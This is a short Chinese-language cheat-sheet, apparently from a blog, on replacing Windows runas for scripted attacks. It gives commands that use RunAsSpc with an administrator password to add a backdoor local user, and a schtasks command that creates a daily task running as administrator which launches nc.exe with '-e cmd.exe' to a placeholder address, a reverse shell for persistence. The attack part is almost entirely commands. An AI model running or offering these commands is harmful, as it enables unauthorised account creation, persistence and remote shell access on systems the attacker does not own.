Runas replacement tool

1. RunAsSpc

Runas 无法在脚本中输入密码,可以使用RunAsSpc替代。

RunAsSpc = runas + password + encryption

https://robotronic.de/guidance.html

ADD  USER:
C:\windows\temp> echo net user xiaoxiaoleo xiaoxiaoleo /add > addme.bat
C:\windows\temp> runasspc.exe /program:"addme.bat" /user:"administrator" /password:"password"
2.SCHTASKS
schtasks /query

time /t

schtasks /create /tn  "MyTaskName" /tr  "c:\users\public\nc.exe  x.x.x.x  -e cmd.exe" /sc DAILY /st 08:26:00 /ru administrator /rp password

schtasks  /delete /tn MyTaskName /F

上一篇:痞子衡嵌入式:恩智浦i.MX RTxxx系列MCU启动那些事(4)- OTP及其烧写方法


下一篇:golang-指针,函数,map